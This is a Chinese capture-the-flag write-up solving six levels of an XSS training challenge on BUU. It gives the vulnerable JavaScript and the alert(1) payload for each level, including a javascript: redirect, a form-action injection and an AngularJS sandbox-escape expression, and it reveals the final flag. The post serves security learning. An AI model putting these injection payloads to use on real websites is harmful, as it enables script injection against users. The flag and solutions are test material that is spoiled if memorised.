xss闯关

BUU上的[第二章 web进阶]XSS闯关

第一关

第一关很简单,没有任何过滤,直接输入:<script>alert()</script>即可。

第二关

第二关可以输入xss和<script>alert()</script>分别查看页面源代码,看看哪里变了。下面是输入发生变化的代码。

复制代码
if(location.search == ""){//查看url中是否有查询字符串,包括开头的?,如果有,返回字符串,如果没有返回空字符
            location.search = "?username=xss"//将url中的查询字符串命名为?username=xss,且不会再改变。
        }
        var username = 'xss';//输入
        document.getElementById('ccc').innerHTML= "Welcome " + escape(username);//找到ID为 'ccc' 的HTML元素,并将其内部的HTML内容替换为 "Welcome " 加上 username 变量的值(username 的值经过 escape() 函数处理),使用双斜线进行过滤。

输入:?username=xss';alert(1);//

第三关

输入第二关的payload,发现多了一个单引号和斜线,形成了闭合。

输入:?username='';alert(1);//

第四关

进入第四关发现页面在不断的跳转,输入:?jumpUrl=javascript:alert(1)

javascript:会将此后面的语句当作代码执行,所以,输入此后的再次跳转就会执行alert(1)。

第五关

查看页面源代码,发现一段js代码。

复制代码
if(getQueryVariable('autosubmit') !== false){//查看url中是否有autosubmit参数如果有,返回它的值,如果没有,返回false,没有的话执行if语句
    var autoForm = document.getElementById('autoForm');//通过 ID 获取页面中的表单元素,假设表单的 ID 是 autoForm。
    autoForm.action = (getQueryVariable('action') == false) ? location.href : getQueryVariable('action');//如果没有action,执行location.href,有action且action!=false,执行getQueryVariable('action')。将最后的值赋值给autoForm.action。
    autoForm.submit();//提交表单
}else{
    
}
function getQueryVariable(variable){
    var query = window.location.search.substring(1);//获取当前页面的查询字符串(即 URL 中 `?` 后的部分)
    var vars = query.split("&");//按&符号将参数拆解成数组
    for (var i=0;i<vars.length;i++) {
        var pair = vars[i].split("=");//通过=将数据分为参数和值
        if(pair[0] == variable){return pair[1];}//如果参数是查询的参数,返回它的值
    }
    return(false);//返回false
}

综上,我们需要有autosubmit进入if语句,然后利用action参数进行xss注入。

输入:?autosubmit=1&action=JavaScript:alert(1);//

第六关

查看页面源代码,发现一个链接,不过里面是一堆js代码,在下面找到一段js代码:

复制代码
<script type="text/javascript">
    if(location.search == ""){//查询有没有查询的参数,好像也没啥东西。
        location.search = "?username=xss"
    }
</script>

看别的师傅了解到沙箱逃逸,先传参{ {7*9}},发现被运算。

输入:?username={ {'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}

'a'.constructor 返回 String 构造函数。

.prototype 访问 String 的原型对象。

.charAtString 原型上的一个方法,用于获取字符串中指定位置的字符。

=[].join;String.prototype.charAt 方法重写为数组的 join 方法。这意味着当你尝试调用 charAt 方法时,实际上会调用 join 方法。

这样绕过了AngularJS的防御机制,使得后面的代码可以执行。

eval函数接受一个字符串参数,并将其作为AngularJS表达式进行求值。在这里,字符串参数包含恶意代码 x=1} } };alert(1)//'。这段代码试图关闭现有的AngularJS表达式,然后触发一个JavaScript alert弹窗,以实现攻击目的。

最终得到flag:n1book{xss_is_so_interesting}

相关推荐
AI袋鼠帝14 小时前
火爆全网的Seedance2.0 十万人排队,我2分钟就用上了
前端
IT_陈寒14 小时前
React Hooks闭包陷阱:你以为的state可能早就过期了
前端·人工智能·后端
Jenlybein14 小时前
快速了解熟悉 Vite ,即刻上手使用
前端·javascript·vite
小码哥_常14 小时前
安卓开发避坑指南:全局异常捕获与优雅处理实战
前端
lihaozecq14 小时前
我用 1 天的时间 vibe coding 了一个多人德州扑克游戏
前端·react.js·ai编程
momo0611714 小时前
AI Skill是什么?
前端·ai编程
言萧凡_CookieBoty14 小时前
用 AI 搞定用户系统:Superpowers 工程化开发教程
前端·ai编程
小小小小宇14 小时前
Go 语言协程
前端
牛奶14 小时前
5MB vs 4KB vs 无限大:浏览器存储谁更强?
前端·浏览器·indexeddb
牛奶14 小时前
setTimeout设为0就马上执行?JS异步背后的秘密
前端·性能优化·promise